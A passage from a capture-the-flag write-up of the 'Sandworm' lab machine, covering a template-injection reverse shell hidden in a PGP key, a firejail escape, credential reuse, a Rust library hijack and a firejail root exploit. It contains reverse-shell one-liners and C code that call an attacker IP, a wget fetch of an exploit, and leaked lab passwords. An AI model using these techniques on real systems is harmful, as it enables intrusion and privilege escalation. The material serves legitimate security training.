ir+cGmvKs/6ahup56SsJXpOIWGnhl3AJ/rTGxVXuEGQQzJGjOV+/TxbKoe3+14s0
340V2R+iDWWq4uEAEQEAAbSUe3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19f
Lm9zLnBvcGVuKCdlY2hvIFltRnphQ0FnTFdrZ1BpWWdMMlJsZGk5MFkzQXZNVEF1
TVRBdU1UY3VORFF2TkRRME5DQXdQaVl4IHwgYmFzZTY0IC1kIHwgYmFzaCcpLnJl
YWQoKSB9fSA8YXNkZkBzc2EuaHRiPokB1AQTAQoAPhYhBFERS+JIoFYjJfAX0jBP
5zYNHucHBQJkjzoAAhsDBQkDwmcABQsJCAcCBhUKCQgLAgQWAgMBAh4BAheAAAoJ
EDBP5zYNHucHJYML/0nUmDOcn/99i133HOBmB0mFmm63J3A/HxZCbGCw8uI7vGN6
x7b0mtCJp5VYfmk4i3ZwdtH2Rcmt6LE/E7pvUppl72ecs9SE3JJ40vJfQHGHfNTQ
GfjoK9FX0ciYHNMlZP3K0bKGdXD0r96tn0UgxjgUqbbPeHIn7ypSyKF/H729Ag73
62m3V33KfJpZYGaD0Mq0vTNS4Lp4oqS4/RUnQ5/v85CaFB9nhx/IqCX5yfUfMBdJ
zy0WuoreaBNmH6aHKM4ewWAfD/9BeGkRM1gI4Fl4uvHTfrO0/YoagDTZaHPPbT9S
zFa9E62fpLCtmPiAO/Su14qip1OP9hrNXc9IlqbANiKunLKaC9iBtPSls4iJX1lA
Qj+USgGXGxcTB7mFHnFOZQgNReNfyNkQmAKCv5sLBr7ebRYPpO0M5gzrIvdpvuq9
9V4p2RBbkZI+YrbSHMCAAF9ZNIgg0eOC/GysNJg7BP8cY/6eLVGf2ShI3O1MYepg
fnqGYN+yyZ9SvOWXHLkBjQRkjzoAAQwA0NlOiwxMBs1i+wXFa+jOQxHuZTM1xmmp
o3ICIYrM05IphRGfAmQ6bAL3fIDPQifkrkONIFyCexvD+nj/Nrh+7bMC9S0wqvdm
PHarkHWItuVn2CSs9i6XTQ08pN7JQok1hVWYnVL3eBs/Em8Uoe3AWznYUxHRF70k
Xwc6LQbpVc8tKmuLvz+87anOTfatozzwe5p2no/C49PrzY3j317nxnoI+Byle9X4
0kYZIg38b5xbS91G6cLDnE8Fd//CALxqIxQ0gytpxal4SIj5sw0np6UGZ9u84vAL
+YHRZ39N6hQ2xsH4hYBZd/YSL1B1Gyf+dNqeDLNVlhgldW+J+9Db7rFOaXIEzlt2
UKrMKueuxQs02OZxs+zAedFm+xQSVuqU7J5HmD0XACO8lpK1zAk5deZeoReOya0j
mOtw9L4YBUGnyxDQdPuv9vmVeaS05QNK+Tbx3h6daP00ABLy1ywrxE9Hn89HZXEY
2+IE/uHgrMghpAN4K/61kk0wi1s1qGcJABEBAAGJAbwEGAEKACYWIQRREUviSKBW
IyXwF9IwT+c2DR7nBwUCZI86AAIbDAUJA8JnAAAKCRAwT+c2DR7nByruDADB1lGq
jtbCOTUKTRffAOfooQFaqv2NRtNpkzWyWjjiloyzpsgNYeFFdHgJeivW5GpyQwdQ
RWRXnHYvVohB7/CRxUm8jiqiGHkYG35EfUac4mGWCVXeFFVnz3uIzxu/33SmX8wX
BV2QgDyNla57tdNKv02aDmIJvj1vMimdTTW9jAxu4+wJN/Xi1m1bLY37gyFfjm3A
hgL6pjv7NV65eq5N2tMmIMoE90nCXRw+oHQyAPnbMVe25yy3lyzQqrH4nKSS3+Ml
NwRaJY3Tb7aldD1IxK7fdeNGeo6iq9RyS00gIlqhwQWtVA5AGj7fwzABAWeBv57D
PrZi+uID2yx7NMJBNl57DmTj+zS6yA++1hf66jc46gcKT4qdPokpupAJj/OjLPF3
MtXB9Xcge//s2ISnhzxNyvRz/jMH2ps1LKoEZ5ek5adFrNkbjpQlTHXBv5Fx0yst
LUH0QNbriE8Sj55HUMpLM1VvGRJgFvNhNQ/rm5YAm80IyBMXnesGs0Ic8K4=
=Xp2f
-----END PGP PUBLIC KEY BLOCK-----
We put the above key and message and then we will have a shell in our nc
listener:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.218:56814.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$
System enumeration
The first thing we notice is that we don’t have script
, and even which
:
atlas@sandworm:/var/www/html/SSA$ script /dev/null -c bash
script /dev/null -c bash
Could not find command-not-found database. Run 'sudo apt update' to populate it.
script: command not found
atlas@sandworm:/var/www/html/SSA$ which script
which script
Could not find command-not-found database. Run 'sudo apt update' to populate it.
which: command not found
These are the available commands:
atlas@sandworm:/var/www/html/SSA$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
atlas@sandworm:/var/www/html/SSA$ ls -la /bin/
ls -la /bin/
total 14304
drwxr-xr-x 2 nobody nogroup 340 Jun 17 19:01 .
drwxr-xr-x 14 nobody nogroup 4096 Jun 6 11:49 ..
-rwxr-xr-x 1 nobody nogroup 35328 Jun 17 19:01 base64
-rwxr-xr-x 1 nobody nogroup 35328 Jun 17 19:01 basename
-rwxr-xr-x 1 nobody nogroup 1396520 Jun 17 19:01 bash
-rwxr-xr-x 1 nobody nogroup 35280 Jun 17 19:01 cat
-rwxr-xr-x 1 nobody nogroup 125688 Jun 17 19:01 dash
-rwxr-xr-x 1 nobody nogroup 948 Jun 17 19:01 flask
-rwxr-xr-x 1 nobody nogroup 4898752 Jun 17 19:01 gpg
-rwxr-xr-x 1 nobody nogroup 1960456 Jun 17 19:01 gpg-agent
-rwxr-xr-x 1 nobody nogroup 35328 Jun 17 19:01 groups
-rwxr-xr-x 1 nobody nogroup 39424 Jun 17 19:01 id
-rwxr-xr-x 1 nobody nogroup 9047 Jun 17 19:01 lesspipe
-rwxr-xr-x 1 nobody nogroup 138208 Jun 17 19:01 ls
lrwxrwxrwx 1 nobody nogroup 19 Jun 17 19:01 python3 -> /usr/bin/python3.10
-rwxr-xr-x 1 nobody nogroup 5912968 Jun 17 19:01 python3.10
lrwxrwxrwx 1 nobody nogroup 13 Jun 17 19:01 sh -> /usr/bin/dash
We can get a full TTY with python3
:
atlas@sandworm:/var/www/html/SSA$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<SA$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
Could not find command-not-found database. Run 'sudo apt update' to populate it.
reset: command not found
atlas@sandworm:/var/www/html/SSA$ export TERM=xterm
atlas@sandworm:/var/www/html/SSA$ export SHELL=bash
atlas@sandworm:/var/www/html/SSA$ stty rows 50 columns 158
Could not find command-not-found database. Run 'sudo apt update' to populate it.
stty: command not found
It looks like we are in a restricted environment. Indeed, there are not many processes running:
atlas@sandworm:/var/www/html/SSA$ ls /proc
1 cmdline ioports modules sys
20 consoles irq mounts sysrq-trigger
3927255 cpuinfo kallsyms mpt sysvipc
3927258 crypto kcore mtrr thread-self
3927259 devices keys net timer_list
3927349 diskstats key-users pagetypeinfo tty
3927350 dma kmsg partitions uptime
3927365 driver kpagecgroup pressure version
43166 dynamic_debug kpagecount schedstat version_signature
43168 execdomains kpageflags scsi vmallocinfo
acpi fb loadavg self vmstat
bootconfig filesystems locks slabinfo zoneinfo
buddyinfo fs mdstat softirqs
bus interrupts meminfo stat
cgroups iomem misc swaps
We can take a look at the cmdline
files:
atlas@sandworm:/var/www/html/SSA$ cat /proc/1/cmdline; echo
/usr/local/bin/firejail--profile=webappflaskrun
atlas@sandworm:/var/www/html/SSA$ cat /proc/20/cmdline; echo
/usr/bin/python3/usr/local/sbin/flaskrun
atlas@sandworm:/var/www/html/SSA$ cat /proc/43166/cmdline; echo
gpg-agent--homedir/home/atlas/.gnupg--use-standard-socket--daemon
atlas@sandworm:/var/www/html/SSA$ cat /proc/43168/cmdline; echo
scdaemon--multi-server
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927255/cmdline; echo
/bin/sh-cecho YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927258/cmdline; echo
bash
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927259/cmdline; echo
bash-i
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927349/cmdline; echo
python3-cimport pty; pty.spawn("/bin/bash")
atlas@sandworm:/var/www/html/SSA$ cat /proc/3927350/cmdline; echo
/bin/bash
It seems that the parent process is running:
/usr/local/bin/firejail --profile=webapp flask run
So, we have a reverse shell from Flask, but the webserver is running under firejail
. That’s why we have restricted permissions.
Escaping the jail
We have these files in the home directory of atlas
:
atlas@sandworm:/var/www/html/SSA$ cd
atlas@sandworm:~$ ls -la
total 44
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 .
drwxr-xr-x 4 nobody nogroup 4096 May 4 15:19 ..
lrwxrwxrwx 1 nobody nogroup 9 Nov 22 2022 .bash_history -> /dev/null
-rw-r--r-- 1 atlas atlas 220 Nov 22 2022 .bash_logout
-rw-r--r-- 1 atlas atlas 3771 Nov 22 2022 .bashrc
drwxrwxr-x 2 atlas atlas 4096 Jun 6 08:49 .cache
drwxrwxr-x 3 atlas atlas 4096 Feb 7 10:30 .cargo
drwxrwxr-x 4 atlas atlas 4096 Jan 15 07:48 .config
drwx------ 4 atlas atlas 4096 Jun 18 17:11 .gnupg
drwxrwxr-x 6 atlas atlas 4096 Feb 6 10:33 .local
-rw-r--r-- 1 atlas atlas 807 Nov 22 2022 .profile
drwx------ 2 atlas atlas 4096 Feb 6 10:34 .ssh
In .config
we can find these:
atlas@sandworm:~$ ls -la .config
total 12
drwxrwxr-x 4 atlas atlas 4096 Jan 15 07:48 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 ..
dr-------- 2 nobody nogroup 40 Jun 17 19:01 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 httpie
atlas@sandworm:~$ ls -la .config/firejail/
ls: cannot open directory '.config/firejail/': Permission denied
atlas@sandworm:~$ ls -la .config/httpie/
total 12
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 .
drwxrwxr-x 4 atlas atlas 4096 Jan 15 07:48 ..
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 sessions
atlas@sandworm:~$ ls -la .config/httpie/sessions/
total 12
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 .
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 ..
drwxrwx--- 2 nobody atlas 4096 May 4 17:30 localhost_5000
atlas@sandworm:~$ ls -la .config/httpie/sessions/localhost_5000/
total 12
drwxrwx--- 2 nobody atlas 4096 May 4 17:30 .
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 ..
-rw-r--r-- 1 nobody atlas 611 May 4 17:26 admin.json
atlas@sandworm:~$ cat .config/httpie/sessions/localhost_5000/admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
We have a password for silentobserver
(quietLiketheWind22
). This one is valid to access to /admin
in the website:
But we can reuse this password in SSH and it also works, because silentobserver
is a system user:
atlas@sandworm:~$ ls /home
atlas silentobserver
$ ssh silentobserver@ssa.htb
silentobserver@ssa.htb's password:
silentobserver@sandworm:~$ cat user.txt
6b30c59a59d5af42131e496ca03817b6
Lateral movement to user atlas
We can see that there is a SUID binary called tipnet
and also firejail
:
silentobserver@sandworm:~$ find / -perm -4000 2>/dev/null
/opt/tipnet/target/debug/tipnet
/opt/tipnet/target/debug/deps/tipnet-a859bd054535b3c1
/opt/tipnet/target/debug/deps/tipnet-dabc93f7704f7b48
/usr/local/bin/firejail
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/mount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
/usr/bin/fusermount3
There is an exploit for firejail
when it is SUID, but we need to become atlas
since we need to belong to group jailer
:
silentobserver@sandworm:~$ ls -l /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
silentobserver@sandworm:~$ cat /etc/group | grep jailer
jailer:x:1002:atlas
Maybe tipnet
is useful for that:
silentobserver@sandworm:~$ ls -l /opt/tipnet/target/debug/tipnet
-rwsrwxr-x 2 atlas atlas 58755272 Jun 18 00:00 /opt/tipnet/target/debug/tipnet
Notice that we have write permissions under /opt/crates/logger
, which is a Rust project:
silentobserver@sandworm:~$ ls -la /opt
total 16
drwxr-xr-x 4 root root 4096 Jun 18 17:32 .
drwxr-xr-x 19 root root 4096 Jun 7 13:53 ..
drwxr-xr-x 3 root atlas 4096 May 4 17:26 crates
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 tipnet
silentobserver@sandworm:~$ ls -la /opt/crates
total 12
drwxr-xr-x 3 root atlas 4096 May 4 17:26 .
drwxr-xr-x 4 root root 4096 Jun 18 17:32 ..
drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 logger
silentobserver@sandworm:~$ ls -la /opt/crates/logger
total 40
drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 .
drwxr-xr-x 3 root atlas 4096 May 4 17:26 ..
-rw-r--r-- 1 atlas silentobserver 11644 May 4 17:11 Cargo.lock
-rw-r--r-- 1 atlas silentobserver 190 May 4 17:08 Cargo.toml
drwxrwxr-x 6 atlas silentobserver 4096 May 4 17:08 .git
-rw-rw-r-- 1 atlas silentobserver 20 May 4 17:08 .gitignore
drwxrwxr-x 2 atlas silentobserver 4096 May 4 17:12 src
drwxrwxr-x 3 atlas silentobserver 4096 May 4 17:08 target
silentobserver@sandworm:~$ ls -la /opt/crates/logger/src
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May 4 17:12 .
drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 ..
-rw-rw-r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs
This is lib.rs
:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
It is a simple project that logs messages in /opt/tipnet/access.log
:
silentobserver@sandworm:~$ tail /opt/tipnet/access.log
[2023-06-17 23:40:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:42:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:44:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:46:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:48:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:50:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:52:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:54:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:56:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2023-06-17 23:58:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
The other project is tipnet
:
silentobserver@sandworm:~$ ls -la /opt/tipnet
total 124
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 .
drwxr-xr-x 4 root root 4096 Jun 18 17:34 ..
-rw-rw-r-- 1 atlas atlas 41861 Jun 17 23:58 access.log
-rw-r--r-- 1 root atlas 46161 May 4 16:38 Cargo.lock
-rw-r--r-- 1 root atlas 288 May 4 15:50 Cargo.toml
drwxr-xr-- 6 root atlas 4096 Jun 6 11:49 .git
-rwxr-xr-- 1 root atlas 8 Feb 8 09:10 .gitignore
drwxr-xr-x 2 root atlas 4096 Jun 6 11:49 src
drwxr-xr-x 3 root atlas 4096 Jun 6 11:49 target
silentobserver@sandworm:~$ ls -la /opt/tipnet/src
total 16
drwxr-xr-x 2 root atlas 4096 Jun 6 11:49 .
drwxr-xr-x 5 root atlas 4096 Jun 6 11:49 ..
-rwxr-xr-- 1 root atlas 5795 May 4 16:55 main.rs
This is main.rs
:
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;
// We don't spy on you... much.
struct Entry {
timestamp: String,
target: String,
source: String,
data: String,
}
fn main() {
println!("
,,
MMP\"\"MM\"\"YMM db `7MN. `7MF' mm
P' MM `7 MMN. M MM
MM `7MM `7MMpdMAo. M YMb M .gP\"Ya mmMMmm
MM MM MM `Wb M `MN. M ,M' Yb MM
MM MM MM M8 M `MM.M 8M\"\"\"\"\"\" MM
MM MM MM ,AP M YMM YM. , MM
.JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo
MM
.JMML.
");
let mode = get_mode();
if mode == "" {
return;
}
else if mode != "upstream" && mode != "pull" {
println!("[-] Mode is still being ported to Rust; try again later.");
return;
}
let mut conn = connect_to_db("Upstream").unwrap();
if mode == "pull" {
let source = "/var/www/html/SSA/SSA/submissions";
pull_indeces(&mut conn, source);
println!("[+] Pull complete.");
return;
}
println!("Enter keywords to perform the query:");
let mut keywords = String::new();
io::stdin().read_line(&mut keywords).unwrap();
if keywords.trim() == "" {
println!("[-] No keywords selected.\n\n[-] Quitting...\n");
return;
}
println!("Justification for the search:");
let mut justification = String::new();
io::stdin().read_line(&mut justification).unwrap();
// Get Username
let output = Command::new("/usr/bin/whoami")
.output()
.expect("nobody");
let username = String::from_utf8(output.stdout).unwrap();
let username = username.trim();
if justification.trim() == "" {
println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
return;
}
logger::log(username, keywords.as_str().trim(), justification.as_str());
search_sigint(&mut conn, keywords.as_str().trim());
}
fn get_mode() -> String {
let valid = false;
let mut mode = String::new();
while ! valid {
mode.clear();
println!("Select mode of usage:");
print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");
io::stdin().read_line(&mut mode).unwrap();
match mode.trim() {
"a" => {
println!("\n[+] Upstream selected");
return "upstream".to_string();
}
"b" => {
println!("\n[+] Muscular selected");
return "regular".to_string();
}
"c" => {
println!("\n[+] Tempora selected");
return "emperor".to_string();
}
"d" => {
println!("\n[+] PRISM selected");
return "square".to_string();
}
"e" => {
println!("\n[!] Refreshing indeces!");
return "pull".to_string();
}
"q" | "Q" => {
println!("\n[-] Quitting");
return "".to_string();
}
_ => {
println!("\n[!] Invalid mode: {}", mode);
}
}
}
return mode;
}
fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
let pool = Pool::new(url).unwrap();
let mut conn = pool.get_conn().unwrap();
return Ok(conn);
}
fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");
for (i, keyword) in keywords.iter().enumerate() {
if i > 0 {
query.push_str("OR ");
}
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query,
|(timestamp, target, source, data)| {
Entry { timestamp, target, source, data }
},
).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}",
e.timestamp, e.source, e.target, e.data);
}
}
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());
let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
.unwrap();
let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
.unwrap();
let now = Utc::now();
for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);
let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! {
"timestamp" => date,
"data" => contents,
"hash" => &hash_hex,
},
).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
}
It is a bit overwhelming. Actually, it contains two vulnerabilities, but they are not useful:
- SQL injection (
format!("data LIKE '%{}%' ", keyword)
):
fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");
for (i, keyword) in keywords.iter().enumerate() {
if i > 0 {
query.push_str("OR ");
}
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query,
|(timestamp, target, source, data)| {
Entry { timestamp, target, source, data }
},
).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}",
e.timestamp, e.source, e.target, e.data);
}
}
- File read as
atlas
using symlinks:
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());
// ...
for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);
let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! {
"timestamp" => date,
"data" => contents,
"hash" => &hash_hex,
},
).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
The directory is /var/www/html/SSA/SSA/submissions
, where atlas
has read and write permissions:
silentobserver@sandworm:~$ ls -la /var/www/html/SSA/SSA
total 44
drwxrwxr-x 7 atlas atlas 4096 Jun 7 15:18 .
drwxrwxr-x 3 root atlas 4096 May 4 14:58 ..
-rw-r--r-- 1 root atlas 6897 Jun 7 15:18 app.py
-rw-r--r-- 1 root atlas 746 May 4 17:45 __init__.py
-rw-r--r-- 1 root atlas 245 Feb 2 14:43 models.py
drwxr-xr-x 2 root atlas 4096 May 4 15:00 __pycache__
drwxr-xr-x 5 root atlas 4096 Jan 31 16:20 src
drwxr-xr-x 4 root atlas 4096 May 4 16:37 static
drwxr-xr-x 2 atlas atlas 4096 May 5 09:06 submissions
drwxr-xr-x 2 root atlas 4096 May 30 04:54 templates
Even though atlas
is inside a jail, the above directory is available since the firejail
options allow it:
silentobserver@sandworm:/opt/crates/logger$ cat /home/atlas/.config/firejail/webapp.profile
noblacklist /var/run/mysqld/mysqld.sock
hostname sandworm
seccomp
noroot
allusers
caps.drop dac_override,fowner,setuid,setgid
seccomp.drop chmod,fchmod,setuid
private-tmp
private-opt none
private-dev
private-bin /usr/bin/python3,/usr/local/bin/gpg,/bin/bash,/usr/bin/flask,/usr/local/sbin/gpg,/usr/bin/groups,/usr/bin/base64,/usr/bin/lesspipe,/usr/bin/basename,/usr/bin/filename,/usr/bin/bash,/bin/sh,/usr/bin/ls,/usr/bin/cat,/usr/bin/id,/usr/local/libexec/scdaemon,/usr/local/bin/gpg-agent
#blacklist ${HOME}/.ssh
#blacklist /opt
blacklist /home/silentobserver
whitelist /var/www/html/SSA
read-write /var/www/html/SSA/SSA/submissions
noexec /var/www/html/SSA/SSA/submissions
read-only ${HOME}
read-write ${HOME}/.gnupg
Library Hijacking
The key to get access as atlas
is to modify the logger
project, because it is used by tipnet
. If we run pspy
to enumerate running processes, we will see these ones:
CMD: UID=0 PID=2326 | /bin/sudo -u atlas /usr/bin/cargo run --offline
CMD: UID=0 PID=2322 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
So, atlas
is running the tipnet
project, which runs logger
under the hood. Notice that the logger
project is not rebuilt when running tipnet
. Therefore, we can add more code in lib.rs
and build the project, so that tipnet
uses a modified version of logger
that grants us access as atlas
(outside the jail).
This is the modified lib.rs
file:
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use std::process::Command;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let _output = Command::new("/dev/shm/x").output();
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
We will try to execute a file at /dev/shm/x
. To ensure that we execute code as atlas
, we will compile some C code to get a reverse shell:
silentobserver@sandworm:~$ cat > /dev/shm/x.c
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(1000);
system("bash -c 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1'");
return 0;
}
^C
silentobserver@sandworm:~$ gcc -o /dev/shm/x /dev/shm/x.c
Now we modify the logger
project and build it:
silentobserver@sandworm:/tmp$ cp /opt/crates/logger/src/lib.rs /tmp/lib.rs
silentobserver@sandworm:/tmp$ vi /tmp/lib.rs
silentobserver@sandworm:/tmp$ cp /tmp/lib.rs /opt/crates/logger/src/lib.rs
silentobserver@sandworm:/tmp$ cd /opt/crates/logger/
silentobserver@sandworm:/opt/crates/logger$ cargo build
Compiling autocfg v1.1.0
Compiling libc v0.2.142
Compiling num-traits v0.2.15
Compiling num-integer v0.1.45
Compiling time v0.1.45
Compiling iana-time-zone v0.1.56
Compiling chrono v0.4.24
Compiling logger v0.1.0 (/opt/crates/logger)
Finished dev [unoptimized + debuginfo] target(s) in 6.88s
At this point, we must wait while listening with nc
until a shell arrives:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.218:46024.
bash: cannot set terminal process group (2322): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
atlas@sandworm:/opt/tipnet$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
atlas@sandworm:/opt/tipnet$ export TERM=xterm
atlas@sandworm:/opt/tipnet$ export SHELL=bash
atlas@sandworm:/opt/tipnet$ stty rows 50 columns 158
Now we are outside the jail, and we belong to jailer
group:
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
Privilege escalation
Let’s use the exploit for firejail
:
atlas@sandworm:/opt/tipnet$ cd /tmp
atlas@sandworm:/tmp$ wget -q 10.10.17.44/exploit.py
atlas@sandworm:/tmp$ chmod +x exploit.py
atlas@sandworm:/tmp$ ./exploit.py
You can now run 'firejail --join=3065' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
Now we need to open another reverse shell (it will arrive automatically) as atlas
and run the commands above (su -
instead of sudo su -
) to become root
:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.218:55424.
bash: cannot set terminal process group (2902): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
atlas@sandworm:/opt/tipnet$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
atlas@sandworm:/opt/tipnet$ export TERM=xterm
atlas@sandworm:/opt/tipnet$ export SHELL=bash
atlas@sandworm:/opt/tipnet$ stty rows 50 columns 158
atlas@sandworm:/opt/tipnet$ firejail --join=3065
changing root to /proc/3065/root
Warning: cleaning all supplementary groups
